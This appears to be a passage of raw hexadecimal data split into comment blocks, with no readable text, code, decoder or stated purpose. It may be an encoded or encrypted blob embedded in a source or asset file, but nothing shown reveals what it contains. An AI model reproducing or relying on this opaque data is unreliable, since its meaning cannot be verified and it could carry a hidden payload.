a6a7c19c71a4b48a57557de92152d6b1cf86cb3cfce31fbb017bdd4308f3fdfda276040ea9736209e390cff292c5ab29ffd6cfc50d1d9d9ffd04c2f8e4aeccdc9814b2152ad4a57813ff3d5535734362e16546e5b0220ec35dd4e899c52c8dd026b43cef309876c5d786e62330a40b976d8f918508c46fd2c067b9eda11afec67a0d53330e784a7f3cc87c22d4380be5925d2010a7689250122891d7556096adbc93a7feb21c4f9ac3ab06f07fec9538bdab758f9851221059a642be9f86d0e499aae7cb9ad1002a4a5f2c6cea079800f8918c81b47332c69354a9e47dd9191084d1d6139576943a4bfc204fcd3e3fd5d7895aa03b8b7eed52b2e9ba3eec5c342ec73043eaf8f245ad582ac85295b5963d51b21af892e84d2371edb869ed634872719fcf3ef304bfd0fc35602e6ab50a09c786099e3e5375928cf81f31f367fc28ab9bcf7502ec3b4631573578552944934d22ff2ddb6d94857dbfac422ccbbc3857febc1d03721b56ee190b801128a285ae6818dc30daf762acb91f4f12ff5c1b094d5de04ea0994981f83076f3f4b386c4be8694d990b2db90b027c5b90f919f2a5522c80bb413186c9a3498a28368b635969593f718ff*/
/*4ffa1f674af41b114b55ae83fabffa44a03702859fc637547190e810a20eb691d035f4381d47f52c8bee17f59121c324c3e1d21b1cfbbc5badca72a68169f8ed1c77d992f7eacc50736185457a189027f99a08ebd88a39c2b7e73fb3519dc7e434bf0e8123ba799c0de87cb3fbfb665d2aad17352fd0e81250b04d798200319a2bca58ab8953b90fedad30934ad48bf13243d8f4859fe11322925669643eaf944fb71fe6e4c3a5c6c6ed019aa96108048c81e920c49420f502f1948511ff43520a999ff6a35772cc1cff93bb69d84d7c6bf07578783a7d5986cb2b499358b4b2778c42d50ebef41febc80bc07387eb9e899908643e641c1ea7ec19c5b63e0927811a965e20d9e6d97a93266adbb0005e74ac92739e0763f2218ac21fd10f795c03a9c2490d3771a729c5b99bd497edc167b64dc4dc45073322d5120927f4de1441fc5a6099de20ee589166d91dbc993bd3adf50877f13d51c0a13022a1ec96c7a6a2f982aa33c7c21795719ba8d8d7028383c02bb5d7a6174eaf55ce26d6d8f09c95ee72e025971947934b775eefb90dd8d25bf64a699693763546029e9e6cdd16f7599a9e010610b10d07fa312de1e7a57b5399f4ff79ab815219c68fcfc51dcc20ed68b65545767c3f8cd5dbf0704f682f5e460df0ead45f98d3b0200ae93cf2a12802ae0b8e5fb399b3e7a31a1f7acc1618c42a77c00935196c98e9b41f04ab0f75df549a93473b583b5df9ffcef476be422d0eb12d8a873da5698846d5438f666f5cc754aeee6afb1eec12d754a9768cea92310646cee7526e785b49571cdbef5a4bb08b50dc193119c4ef5453e1e6a6f2627f6d47d5f1cb42a0c7606529714522b599057c7e05801bb5ca4f20f93b1df42092f35baffb502b7571c81192d72ca9f430e61235528ad0bf7c877c317685751df4bc91a07a5b698ba6ad8633b8c5aca5d5ca6c2b96ba8aa3da5baa2dd48179945bbc162ead4adce3c1a1cd806689a579e76c08ebbd60ea381df5aac4ba081d26027c6fa100593348c367fc0c264a95b77876b5b5abb8846c66d10ae711f90caeb58486970d4bae0531d721aba274bc537b4ef200f69e864c5029f8c54274bcd334dc8b64d5bb2f43e3a5eb967ce8407bd15ed1c506cdd97036ed11646985d49ded1e3e05731ecb0c2db5c9197323b1fe3638cfc9b13d58c4312bdd26858fa8c983a3ab4b7120be00ee94fab45264611577514041140190229f2b9a68be371d41ea735ad67cc9a97471e8cdbb12d268e402f9734ae70dbeda64af57c94f5c4ae1ed5ba9bc019bea9102f9c30121ad62ed19e09b2466421028f00eaa9bf34d2b936ffbc350da44c82e79239387273e7e07b2cd694930ecb93587ab6057181374f984b7f18353f39b0913eeb9dfc96ae7ce1d822104500a246484803421f6ca4e17dd5c08a20d62298f1084afae4ace260bb18beab2329564649938f6abd7bc68dfb8cbdf12d9668c11c29cb1bcd65dd79caaa10585dc34aae02b6452c499234d3b62b507b31c5e523d5f674808a8f587aaf446c1d31961d384f50d5e53ea06fe2d861336321d89efb511c8b7f92576b642526ddd0992834f3c03e6cbca3ce362c61c986f42dd563b14ffac0c13112ec71294ca204770f9341fcaf8cbc6725143259344d142160bb45282c9ff611056df1a012e5304cdedea567332c44206f999536b13ea1937932d3f2b9807f978ff2d15645861aa93873247d7897c0dc2f4ba17dca8e3a4f73932f7b0457632d9591e5f9bebe5af7ca2af45111db5a878e23437aecddd31e4fe9aba19a4395a028a08b65c2707037bb32c7c07ba86a248172316aac406cbe5cc3596cc10bb17220abc768f0c433aac6a1573c586c7aa70d2b9b488935e5be1c7912a271c9468fd81248a4a38a7774e6ff61d1634ec67c1e3f813ae7421dffeaead6a347f1e35aef7a186e194d26ec58ecff0988c576e7fc12f281aa1fea4143daf5c544c4179147d490758c4c31b13f7d57cbb8967c82def1406e31bbce28e08cdac9a5d321660e9bfb61ba8df20cd92745ed821bf55fc7abff7374a434dad2cb800acff9318dbf941e83c63cf1b9949c07e1c0cfba11102cdd5f136cdf2b8af3c26168b48d8c2a5ea22a82c3b709559f2c05a10a5935b3a2be967008a21abc87ec5c63a52d4986bdb44c8c4a5412d4d6dcfc0d185eb6c03a2034f0a88a42065ea758d396b112928e29b66b1ca01aad5ad01f5c5be8f73e174917e90a28a834762626f9bd51eb547526d027afed5d08e9798682f4349209fb6041516a804a6cf052d68bc26e766803a2514b5ed90c6c4f84b364e6a61b0d37e2059fbede389da58f77114d84c51d427ed1162dba6e11a1f46c9ed53593841269bd1721379c702641700f587d124fe83a79921c0f064012f284ff5154a1e7b33841f00d84e3a67604e9488b9f53da83343c9aff87c5960d3ebc54710eace93697279226b86ec560c89f652bc08284a1fd13c58b55bbd2319fd6ac4cb23fcda239abc19fdd0dc89a16ddfa2b7675706db43de1a2cf65835a8662418302ca8a44c935b00600e6079173b189d21c37697e7f486e960f79a2293436ea71730db65b4705237f33fc62986ac03d44c56a4517c7bb828a8d2f7a7ef8b27a2c22bc51cf169055e6a67703c13c1be241363ad957ac45956c8223f459aea21aefc497a294ec35869e1709ca00c0ccfbc9ee316a3aa1416cb92b9ef240979948a5c842f8edfc9eb47a178ae160c8f96ce04f523e243de8c20836d24714a076d66c98438c6f39f14eb93627e4aa08e1f69a2ad6cef16aaf1eb0e7294b302fb8c3c0cf6*/
/*fcab823eb0d5a87fd30395fec49d5d0e05d407377d8d29291b1c7ff76722f632a5ad5edabed639d6c8452f0a65edfbdd0d1191ac866b8e84e70fc03432551ef08fd0bae6dee1ffd6b2ec1ae131f8bceef11cc95c0308d5cf562f4accd7943a08c4ffdab7e29266e7ff5a6f2d70d69fab9fdc7ee8f35619280fbbd75bcf521176f80fe2abc9c7acb6a3c35ec590c8f59dcfaba25a761a6c53732ab6966642f417707b8fa82891a2046b8d50cdf8dfe71c3afdc99c1172b1ecabcede6607070582a7fd3deb47a9cbe8251b405d574e218ce81e4d5a20b79043d0d12158c7f81fdcfc87178bf3b743ddd8b0a64772fcd6ed7aa377d52448d51fc06a5d5f810d9cd95f34f14fb46f708fb81f6456e524f55d55827214ec2994504c4d7925f765e9174eed94a9c37eb8ebf92505948f79e4154892284fceca1998985942802c6bfd4dff48ed0b2197b2f05707f217662304ac45012fc344f6a1ef774ea408cdeca1534f04670cad7f367f9442014ce75d6a537e85be015b03c801777236b513001394aa6e1b953ee96efe4c76b65cb7bc43234a87f8afacea74891297d5e5446014be4b275648fefe5abc42cbb59b0188b9b73ae10d94e32f36870f2a03ec2a49ad033fc24e8049efa8c1d49e1f5d68757eef8c13dab089b6e93dec7a180c580a817d67bff1bb470ae937d8274844a5d44e7b1a40a5d611276b788f9a58536ea3efc7ddf26027d7477355bdace4db559fb6a5a3ed7aa9764d44ab89f5f8ce593d54b8facf70375a9aabdaa6c597875d64ffe9ddfeadaa8b11569d1f513c8245e00d9ce4548ef35e9b496fce337362e5278400162e62b265798986a6a0befb1b4362e20d47007ed17c9bad30e3d5d61a4d9f2eee5cebf58b3e64e145e56d00f84d88f9425c51f050ce4d647f0a0c90fae28ce3d97b238ffcc53c25c6aa5b5d682b8da03779ebcfa9e2b30b1688c84c7f4f297fb93816ffe8bf05c73f2d8414642d30ed75bc28d4be73b674c2d474a66ad6ccf90496bc34fd8d9f30eaff2bca774fd18345cfa4619783a877e2cd3e4b06376eee87e06a457ff9aa2197224548e01795a7fdc39d5cec261eb4b8647f1be18d25dd70ba90b49464e555d03373184f61171692890f0475695006e4979e6fce88629e1fc50603d807eb3d73efd1fb3b8f7275c5468865a9af80138e09215f32d369c7499cf21a6319b046f46aabf3f9b30647efd6988b22a5318095cc2bf90fca63859c2319c159ce4051656841ad768cea9a14d2cdc9625c13e4e443b3419948a8785b48dde6aa4b826d882852b3210321049272b5a78be96adfd36035cfb13710383883a1b49f41a35e7456f91037bc37ed8bf4f04bb382ac7421bd4e38f807ed861645c8cf92d3b2d7c08644437ba213bde94c7b25e23f9f8686bd02598400025941f67ca22253a8e29867080b978e933b050a1c8f429dec3c9bedbcd7072bb57fc5f87068a6e841bf49e5a17f293c37fbf32f77c75d4ee0e511c7b4bdc9753c651332370344a282ef096009a2b3c075d6d2b21a4d8dd952076544ee3b8b7f7bb79e331e2b7280992a4d785ccd9408d4a965f3a80260425c716a8cfd6b8fb5b804d26eeda58a9fba7fcb3b5d20a46292bb36aac278e1bbacbd548a53e48eec099f44138d9b1691cafa94030eb1879962f3ead5cf788df4443e14538d27cd444d6cb33ca5e7703020d61b28e8156d1bb1a8a9543dda612288b6fba4a3d042790fd3b85f108c3a31fd0775e64d2dd10a57e2754fb5c87c39f884d30bce0eef0d482250573685f8f317f6c511e25bd885a54ea15d78bed47af8b81a231fe4c41a32d851acd15efa4b57907276cc8e9984d83e1399580dd3a42bb69a6f4d760a27714aab279b2279b44b5aa8a0ae395d5c7281c8539066f6558b69f799417ee5ed000357a8729d29a0b146888ec6eb7de5af6a68f6a4f856949af5ee4c64fa7f6fe6e8f17dad69663126acff0798cd8a61093780fed9c8c8730467601cb000935a6f9f3ddbc8754fe7698387b174d16b851bcddff55096cc70520319eae99d2d6d89044c1cff0a8ece5e22e129f2bb0414914aec5f37379dd633b55abd24b531a3b295e020f098eaa2db0ed105686f3f3d2219f3aff3ef76cdfe59d6f3e4ea1991823109795d6f59427e91093580f7b67e84f823d23b4295dd91c357a7c2147a468b91a282615a67c1492cfbf21777279f2745c09d4a4dede1e70b719475955700b06e8a172bf1e7fd97c9beeba3284021997ac51a036543d364b4ea97eb44a818ad0be829897c293b540838162e25f92c9be97c3ab6cf0c452ead57ebdcd96e91ab261dac44d06124239bc13f292cb9c6287c464c35625fe1bee0b027171b3a74539846103a7dcc3330d9ff0203ad894175414de088c42f3fe46761595cd16a1f49351a0ca39a8563a5d89ffee51c62f347a45b505a7613f7a8ba1f30a4d263207577bb1c446d77c217586cd25ddb44871273ae366fb36b0a19eb767d3a81eb46bc9a264ee27eaf8ef9b509568bba560dfc29686947f2f07d055e796785c094bd92e7801b16a79c5823a4fdb07b861a7aca7f1dc6eb63365f43a71f8c3ee2400e582dd0f7f0ddf9eb5ed0152dc8393c5666d0bd810bd5b33beeeb368db8c02c0c6c7087bd833790ed3bd7296c96fb457bded8985ab9ab38bb1db404888a9452fdca8cc8ddc6dbf5bd53f4d51fb5572ac0f8b803b33270eca0b20c15f5484f2a730276c6cab6261673f31378f2e04db8686311a138e4af3a3d391e26931f9fd06ffaf738b777e5976c094ff4b4170fd771b5960e7f745d25aaedcf6438439552255521*/
/*ba0d0a97890d7359518b632d6767187264cfd89dede7f71e4bbeb85a30907c8fdfdc6cd94c477869f25a4cb457fa42d9c9d2013f8b997d19c731dde0070573adb9c7703d32f96b48bcd6b4197c898e0a9a9c7ace824fa3cbe918d9a58fef12ef81779ddf9b55b10783cd77cde7daa6d045dac55847ea0be90b9f81a92af3e944251767f48c4a8018caa0a395ff7ebb91a46de5a46e2eb0ae3bd33d5ddaf49a33e8bad28c4a54ea35c5a57d154579d745f124ad3e29028a7144b0525abae04090f0c86722825a22030cfdf1e8db49a4ed2758781ce8f5df43d9c8086fdbb596333e1c667731edf60f704229ad6290cfefe009c8b0da640a9ac071e272710731c277e16c9a881a815056766ebfb2d6f14f8bbb45c53ce9d79f7b6acd465fbcf5eac27db9a65ce1d2a3fa3070e9ccadbfe4a3e447a2c8fcd36af5b4515eb9cfa76f8e7143a3fbd4a19d6e4cc6ade3a48b20bba07a9f227b20f2b0b4889cf5d4d6613e477c0aebb21e48a293c358cb3d8719fbba738c9d98a4d7932a14ca51628e06c24b43ea8130085009e761c863f409ece22970e9fb33bcbd95ac0f62c724da3f42b063997776bc22c3b17517417703ed45066ba409b8d2b1f6ffe02aa66baae4575634eb7479e2ead66fb54eba97ffe51188a1dd340883774d1760c6e948864ec7a4aee2d34db2b01dbcbd05150be6ace1a5d7185a8781e114338bb3578a325364532752fb242616c95ad2c029d735b6066d422aae6f921cd92fe147a74692f9f5c69c87c36d550592c9e277ce8daff350c0c89db40ee91b69cb0697a9e1531f39536be46f6e86938c06de9e313a58de3be037dd30e297afe46f0145b8cfa9607df131f3aaa984331a8b56397cfb71c4670f7f30ec38bcd5fe84cc98acc5d11fbb7e98fc9a7598df58750cd80ee74cda0b3838a8028cdfa73da476a87e27fe38308b7c9b30f977596c061d86a786ac1109b795907264fe110297ecb5f5743670a69420fddcb8045ec9e700edd2f8335ec225d7115998cc52f3285affbca846b43927452fbabe00bc53e3068e98f3604710f4f6382339bd16758cf25430391939cdcc9da190a23e2318e414367d6af052309a826af4f1d078bec7984cc3af1f9e8336f97f6295b9c8845280ed979487434cf730b17ff4bb7c7acf178e206cd45c03a3a41a2a496100edcc4f98dee5a6e692ac9e990f470e6f38e619e05944229123f04e77fc14efef0a3a71b8d36efe4b4633750753e28a30a9a7650f060c2a41c7f60352cf7d4a5081b94e8cac222fb25e626e1d9508ff1e4dcd8e0894d7fd81b9b5725e2548232cbe4f87512153476e3ad5e33079e0dbe567c454b480a1291f42cdac80ef2bd5f5d17ba0382262e611be8b53706ed55cde72eb20868bc1b85b449a1bdf3114d9173950ae718ab7c7e10346d915d29fb534128b5700de01c72ed009a14b34afdc1c6429f2c34cccded248f66132514a5ff5bfd77a50b9ef1ad8ee1240cb8a5df5fe71a0c496cb98ecd9818e35576bb902ee1fbf28a762b9970a1a1f6c2979945adad76a7227ee4f29a024e549f05de6fdd8e87e3f5e8275f4a5c388bf986d27dd204cb13d804c2365a14947b0fa27ab08600d6b012fedbc25e321e99f003fa3fa42ec96d715de075a027f5c5c7d28e97793864c9be1d160c5566685f04c43eb36511c3652c6f8f92103fc64f4bbac27f57d1140fcd7e05c69563036e7a6f22721ba392bbc83aa0c197023ce3e5555d1e8d4373f4277e2bcf7b343f955c6e5e8722922999b4406eeead724a45eb0c390d2bc2232b8cb82faec744dfb4828dd79c7c9a3f12ae4f9dc84494e42b0b34d7fe36c6dc6fd4c01293cb359618e09614dfecc79e77fb1ecac1f7813018879914f8f58d44607efea17bc413696da3d93e4f9dc92d2a3d313a8e511f21b25de10028ac70c51c53363fa1cf86d7bc4068918b0a2aef85469b501b6cc9c82bb28f1000d86eedd56d74a0e5fb47b4a8d9b9db18845b71f966663579fb3c1b0bd279c853f9d31b049044edb2521066abb8805d0b310fd163eb80bd9c4699f6e98817ca756b3211cb23c457acccfced5935e918dffb70e06946d5cf6d3b73081bfc87784fe5dc9beabeb4a680c67a17045b151b6ece94ff52d3d6105abcba59f68fd3ad5568fd390855b54071cf5ab19b1c8580acbe45a21b3281e9d39a354de5c89da6c0b85057767a023a09713b362d25015cd69befabef63d1da22afb34ed81f04da89ef98828c9b402b402fc8d6c36dc665419928596c3ca1cb8ac29ad8225d516a62aa1c52c6dbdc9c36b5c86c80e7514fc3a4f8f8cdd6abe7b2a94bc3330c4ee3817d1606195383abd7bc25fd404d8099a79e0a4d3686fbc289da2fbb6d94ee3c684c9dc427c5eb5d49894c84116b3673a9ebe16e84baa3b4c2e0c9db938d98204bb3169dbeb020454497480cca1703ede84a02d96dd89aa71faa42d1993feaf474fa9d339497deb5f2491fd17ded0149b8e5adf29386b4abac19ae4d8edd9e23c7ab5604f26179641b974d30bee1d453d0a9b6ade4c3f692f1fb2f46a8df8367c5b1a0fc7648b3ec04cca08cd16484e9b73f88bddb04d8ca9239147384efc819ade98e68e2387f1d8cd3f088ab1fff2683e2e3ed14d5bd7f47a762ff795f286083887b4b4228ecd6667a1036f6a9cb0d6a7e4df66a3b51265d7e10aa3dbf93ba6fe9c7c5b2305630893a1f0c10170a99133b4f30f8c5ced3c82fa8ffc3926200a697c9b739de5d4db33c640819f66ffb52f08bced8e08b04a440dc09f093684630b1f4a5eeff300f928525e34af66b822a12a75ca8f01c5725495*/
/*0b9370f1d9f7286980e41715cd4f645a1d9426ab2d05fdbdf14d578b27e053cbfbc53702127fe718110890ac4d98064953a96bf2a32c2b384fc39aeed2b8b11eded72ea88eb9b14eb656b0e695385099b11c0fa5fd094f902bcb0dc0883649ab6421ca743fd8f0a82f2da3ceea33619e9c3e2331559f2937960c48dfbb4d983db6f6e777969de3258be1ef2c2dfa12a17600cc546774c37540152a71c5173df0c15f06b1b7275dc1c31a34c3c421ad0145dec30f73c3288c17a63ea03f4c274c6286240b36c1ea38a1ef783f817ecb3adcfbfdad6aa9dfb47bfa7fc22b1a0538447114ff73d8d75bc31ee44d6163baa41cb0839b2207c01d05271277d0f0fbb43fff6a10a16afb7591a26a6095e7960e4d94111e99a746ae7c12b0137d3e144ce7939a57576e787c339dc840d0bfd0ded40433dd579d16e4439564aca861a846f2a25622c22a914532d0d26aea25f41d273e95f878a6564f5b0a0a848736cdd391b361e7dd6b7aa095f42085a49117b51d3ea2940a9ae1af7dff69f390caa4152cd1831ab4064844b6a7b0629a942fc67a5559bf99bdc2293915ac7ece8868c1e47922e8bd6bab315710a5b91c99e5f4a04b9849aaa21c0642877b66f799b03370ca906f5cac0a73c035913c635d74d51551c99dcb0a2ee74d1e8a088276fd6eb6616f92c5c964846ccb0cc16d6bac60570b427a3b68823b1e6259f91ddee1c4d71ab6e5de97ce74abb97e761e3307a53ac622c99d80d1bc0564c06f1885f7a4fb470219491150265b22c17373132df5541582a897b6fb53f34e19f935e87e8033f707ec0f0fb2dbf2097440cc4368664c48f3396e33b86bca3cc9d940efbc893c6433c11ec62ed2576b5593e3413c34de98a9e0195e3d6ff2e0c15de62b04c64a3a18571aaac35e3380bcd18e32a1a75775bec6c3decb8715eaef68955a02296cab1f06e06a517275780b04e8df6a8792d0fd87bc40e60f85c3771327c442a753d33d6c21cd49d64ec3f683e0ac7dc0e3d967ed7716461780a3a9140a9f09c69b1ef808b7a67e7960074c0b642f8fa315af732367d5b190dcb9ba9498b199f8a8b34105b5e08a5d82a77cc03eb24454488a44c2c0084871586fccb31878a2b5e590939eb0bf028bd819b6ca08bb3757f1a568bcbd5034ed95ee56d7f0d955154b4ae8e597b99782fd7100b7e9b06bbdd4d1f9d9bc46a88df6676d44b53c2cdd0092dcbdac0bff4744ed1f9e55ba742ba677e5d7b236376a9c3560401c663dff9c0cab2975d36ebe6c222ee203713128ffaa3dcb59a2e5c9bba61e6b5a500cb8c5874437dbfee81fbddcda6e2f4a0c0d8885a71b9f96cd09d33e4e903e5956d510d7ca7e95e3a839c05804477f614005a4b7bc731fbe0ca4f7590200f20bd50078a0fa85f8c11c5ec401c96b929823c009898716534af119fd8a03aafaf8765345dd93afe6be5ccb46e54df0dd1472b89b165a4a5831af25fd5650f39f9b169864f61cd3969c73b6248a0f3be2f84bbeed1ec96cd2317754e57184469bfff0117f2f53d21800dede7a00323b293920c2d51e0a3d0b41106cb3df8130746a2d16a89579bd4defd11e1898ed5c7d9f8482bb0d3512b23bb6ea154f7b9b9291165dd3a83745cffba6596e3bf66f6572a7c83feb5bb7f7e60a05624fe877717d87c57bb48e5fdc1ec63a9d0cfd3f531130337e08688a144ee81a2ced51dcadd7070282436f092319b7177d488ac5c88319c2a288d60a625723b50307fe930256cfc3a1faa10f99cea4e4d80c1cd1c0dccc806defdaa7cd04cbccbb0b2dd0746c8008753d47ea9fee5561656b7ba1c8a564d3d4cd0b1c0a9299c25cd0a49f80880192f3d0c3d4808f446a08cc6bfe2c8d1e4882d1716e225690a97bb3b67ab78c834ee6af202bf10f0e3809732f024c34160f234899f48d0415193e36497807ff48b3d30142ab0fed5a4bba0d16362441ffb99e94ab2209d20bccc5020ccd2e2ce0a44340b30c7352fd819b6633173d33792c4aad30b04226ccc70d7ee9a9203c3ac7c0091dd99e551716aa2e54de981722387558a6e0589974cc4598d80b19296b8ff17f1f92005fde4473ba44fb13f07603388724180208a39802ecd9a38374651cbc42501fed0f0594eb61438cb4c1be093ebd07184a5b49f150b96f04bc901bb707584ef81bbe0a57a386094490f1d241b64cd9b2ffd5a12bc5354caf4f87e67b5b05f7e5b933faad4e1eba3cf67a2cd76fcecfd268026118eef44383fa9ca2c0489a76e0a942e2e923f391e95da64ad14dd1cdc2f3fbcbeca81004ea301cc5a22052d7ef931fd5b3e2c65c9372c118858435b493e0517e35368f8f2b72f27d4ff90d7ab4be40c5a110ad7b0169b175be024feb8f586b089f4306cd1556a9b363810240a928d6b51f011593e471591f3639f7b26a1ed22daef436dd6984dcb5ef73125d23ff81575db5ed452427ffddcc497794d012feee55da43fe4056da6449f516dbb85abd25403261a95058df007842f485a2abec1766a3c1f0f10296632b13e7848a7e86c4b62276756739a253b27ff6a84ad2dc56122e7aab72c4cbbfd9f35d3489e380d16939c06089a646357a22b5a254506c89d264e19aa05d5e38a32c7c92e241df238c9657a4c95887b81d9dfd41515075270dd6131c8610055bf1dfd3f8c660e209ffcd240a934a2393d38dafc69064a018405d6fb4ca622d784b67c954bf95ba58bb21f48d4e4c73b137e27908f03004668929c631b9187aebc3c4e186fe569bb8c4352009b609bd0be23857f06acd721d426b609bf935be3851e96a1820eb9b29e860897e61fe92e560*/
/*ab794c75f34a4f843ae787a70a0e21d13bca25607eae87c7f2a6a4b30d4c34d7b32e05b02bb0f3067fc732fcfb24bb7e8f3a600b28d65d7ce14b1f01a12678835ea547516b6906ee541666145fdbcc40695998b1fa2202ef9d73c2d21edf29f28a1bd17a8ebb0279fa0a15ea926a22658c4d658dc63de5693e844bb994c10e7213ffffe5a7ce53c87bb4ecca383769165f6fb47bd51db61c0291f51b9f3c1faaec1602c10783e9a76076452a1fec1afa68ae804849d54a3617190e926d58d12294a2cda1eb8c49af6a28e8b7dfa2312325f791ad20083d1a1686b6c5c25068bb6d53319ecbb379a0eac632154f28221dc2222122422b43cc23e56cd970aeec3fe9cffec2ea1eeb99348d1e91d7e62c6a2f6d96ebe2a8c686df03708b704e35edbeff138902b416b709496bde729a4365379106b77eddaa995baeeb74fab2c54e454fbdbfd70e2a073c946f0a5b90a156790124c61a88779411fee58ce04ea0136702e8828995c3d3f5ae16117fc7dbf6e6cc6e706a031b588fe4376cd1605c933c041bdb62080ec65d748bc9473538bb3c456a4db91ad8e24cf1578a55da3fe8aff072a6bd4a866f046709e8251071e0cae43872c75aaeee82201a8587429102619261eec840fdae7344632d554a5941ddaf016a7a1701c6f296722f13ffaae70972d52478e472ed4c81e0f7600d7f582fe7acc5daf14e4641123dfa01fb8c137fa9dc394a4363cdf2af7ae81d415812b0f72f2ebcfaf83e0999bc6ee7b818ce8859754c0cdb58df4e3ae1f87c0964acd71d333d8f871dc026bcf542b86d195ba7751f8ae8fc68e700b5b2f8c84da9b5cf5983338a79e07c96096a9b77f042c169e4701f383f802f9e81ff4a59f670c7f36db0ea52d30db88928849b8fb4d8ca7142490f67f06096099c79104f936f60689db7e51ab8e290304893fd14f3e275e5e9b550d2977d3e4a0840a5c8387a26105b169f8b62b57d971c675aaf33fe2d028166c8192654916216b9bf397ab0807dc3800dde677f0e9f84b68bf139e56cc4ea26174416af0cd921a2b8967c6e907856f04fb483aee498788e383b0da59e5077d2fcaf0bc118219f6062a74155d45069cb3306c77fb21786c77d6f500df973991be92394d43fe032d8858b5fb29d9198be60f7d7f4c9dd634b787c78a53f8b067b6c7057f2d212b9b7256ce2fdead2b70d30a4738041f48d2e21422840b262e103cf6dcd3e8d299b1e216cc9b6bfa888419e05ded14491964384d0c56fd899e1844c661c4daa1e349031005d7715c716584a285a10f592567360cda6689bbd386b39561d08c369b8864bceae97629aacf405e7cd961bdd4471bb2b4359e31400f806ecdb65922957c181081370dcea5681f05f526c6f5f51feab3b98b1cf239ce36c423f82c21fd842580d730b192b03172e1c48fe63a1bf45dd40a61284e5cfd4a4f375f90a06e7b8092ea74990dca05f0648bdf73e4c0a1e1296fac58e2bd59e6383edb10c767593ae76c88f6ef1f0b6679a0840dfdf0ab85c98da590724ec897a7775742bc946d22115f316f05ed2f55b03922f6ccee98e8e041fe4c8fdb64f63f91815796d7e8e2f9d9a26fc0d1d43a293ed8904cb4d21b30bcd548ca2b2800db7df99c83b559cb0b656984e1996fc94ab8f80aaf1bc09b6095d790263b6c3eb21c24697f3bfcc645e2205b91e21bbb801c845370d9a60476fe59f9a2e656bc785fe421308f7dbdf1f3418e50c03e873ea2e0d1a54499bb17f3f07e1a80c7cae3bd3046092424bc5c50b5f5fb007ee9b8d74f5a3061025b294ff0687483e64fd0845e6589466072f2c020fee7cb5121e23767cb87abbfcdcf68b1e469bbd0ce93a8430762c2b991c91031c75fb83a8214a3f5448dc28070535c90598ebb3f7c0ad0f384f02a6873087818a0db563b6747bb506300910cd42b2e4a55f83090f6d7eae9fc49a807dba4367504d1a38382b1a98fc4e716ce23e84ce4e5ce3dc8464b59ed835920312938d3125eb0725fc005a1e27276fd83952144e47b2fb1b03a2306f6f7f74c2e79d340a491ef6e562ff6b08b6e0c6563f40dc83a99e2083e9572f3029f58b1056fc87445f7881ad2a1bf6be0cd85c6b59624e65ea84ffd1978b1d64195605a0be76fefd7868d03034d7daf1b784eda0405d5b258775008f800520f4566160c9527dc9cf8fc6c3d09a3a8817a8d56a24bc820d4677b7afba513de32a4e298e6c5779be37171f59a16b0d053cc9062cde9e9000e57c464e97c634b1c7ded0201f8200248478bd2cb2c248bd3e69e577ac20754ee2fad3cb9abd7bf816ee451bc49c696223f4827a997dd8fc7d6cc9265f1392e06dc46c3b097e305e75c8281b01cd0c9322e6fd2c52281bbbbcef03c4d4cb344f0628f615ed8cb286e0c955ae8161529563d5b1e0f0b97e079a5dd54c67eee2587b49b360696c713fc75722b8cbcb7cc4542d090c07eb7e1b379b86cb6c078f1b87fa376f22f34189b2a4e6bce92982f33ca6074b44881d398db3129c541006cb1ebefea42925565ed87aad994f7cd7d468f19b7643dad7947709d66b4364f1442b34f782f45c538cbe5723fe611be88f2f278be0308b4e831864210397fc2b7e77d057c773ff3eb520f8d1eeed2e0bd1a4cea4f14a4daaef6ff2954265c9853e607388bc19b6870aad2a0bf858a496b9d1334b97faf2f5b6a8e96d2534628d179ddb1c2c13be8a9e71880d7af55d6e021d56d380571cd99d050cda61af982107de1f2084e8fb77e556793cbe1d1512c86e6e59ff1fd4db093697231e253e370adb998d8f7da17db9f7ac1a882e03260c7320f9*/
/*74a28b3d5686b703c9604d01eb969784b2749be8c3ebf442e71af89816a233753d534526976945d68a6539ef744e5609cf1bab9103e3cdfa35d2a2913545d2ebfd43d99da423e1ab8f95bcfabb54d7da73feb4d73477c6a218c5449a216bd0cb000281e70149f8d5cb7f3fd444c0a41621bfa1c390a7aef8addf8485ad8f07aa801dec42dad590b72a9b7687b42a5be35e9a5a30c250390235f91e49b5aee608e049b4f72555aa0f899b64ad632e1b23bf254e4f3ff8fb04a040e05cee909b64939d414fc792880c6c0151ddbdb57f2713bf6b5633c242c0241db20c3213e3e249da50dc009dec735559b982bc6d2c6d07269ceb1063e04ef5008e830e29f75bb9553a8e88fb231bdecfdb8c70b891a6c023753fe39c3d99c258a4bd9d6a12e38b237139d134bcab416546439e656e99401cfc38a646759acdbf1043929e4518f2b5a44a81573a16f6c8d303c5c4a8a65986e2aca3bbe193da9c51209cd37b3614d33bb9aa905bb2765aa2e31c93222d649407656f96936c5efeb3c8b3988dac8dfbca6c8df1391cd706aa2c9372740931d491a2e51d923b4edfd48b19c9015ae4fc557bc9cdf368caf4f7a916c50f01dcc314e1d93fc1776508b121dfe69365de2bd488597ccdda59a06a8700df2746f4601a2c448f7dce61e7f87dfdd65ada3e3f7a034ec8b9d98ce490437a3b1da22194ae2d2b8a08c3377dfa5227ce22109127b992dfecf44fdfd3b840f675458d9d11d702d7661c4a7a2b644a3869c1413836fb986876bf35da486cd1e640a842092468d44f7ce79d8a052c937fcf6036d4b5a38f2be2f75b0e85220a82982bf00885ad5f7bdec41f7c6680149261327f1ce2f6e6a8eef6a78728c8236af341a711e83abfe95c37b406eb93c5866de307c891beb553c9ec891f820b52dc416787c2cd809102e2b93b4957eaf3c37a8a783347ce67ed181ed5aa5d69a8fe3859f59956b4361eb0461e79de39c343ae63c8bc3fef6da6340f50d6ae3420ca8c88f0ccb4b669b81cb89b95ccda1646a5919aeaad872cf8544d1f1ab8127263cf32ccc0c9c5cdceb5c9954d0af5cdfc6d6a2fbc0cdb0dbf646a3ae03dbe34c62dcc207fd192a4ff6adc6cc3dd1d95decbc62b79d2f8b60a328358bf1002ef1272ec2facdae818b4cb61aaf8c1afcfeb6abea6584c610a51ffc21063198108807ddda91ed54c5ee2f417967c2963aac12bf0323c779d13aa502156ca46fc0ea9e57b6400890db08d200bfc6976f74d4e9954ffc1a89f8e2aae575cca6c321553d66713efc3b67fb89d7d252b6f11e28554d2b0c788a17fd2e0c6f640dca2754c0fc40b3ae9cd07d87c0ce63427857e589de5d1b9c26f85430ff9f386bcba7612af170a55ec36c859a3a619020072c2efaea774c7e27594083dcfe5fc99e3968b3032938a11f3791baa89d8257b7521d75492be7683747ec387f5e2f96430dde08a75aa3ec57d1562761ac47f1c431ab932a6143fe227e37a7ee41f40044bc1280c9e6a56c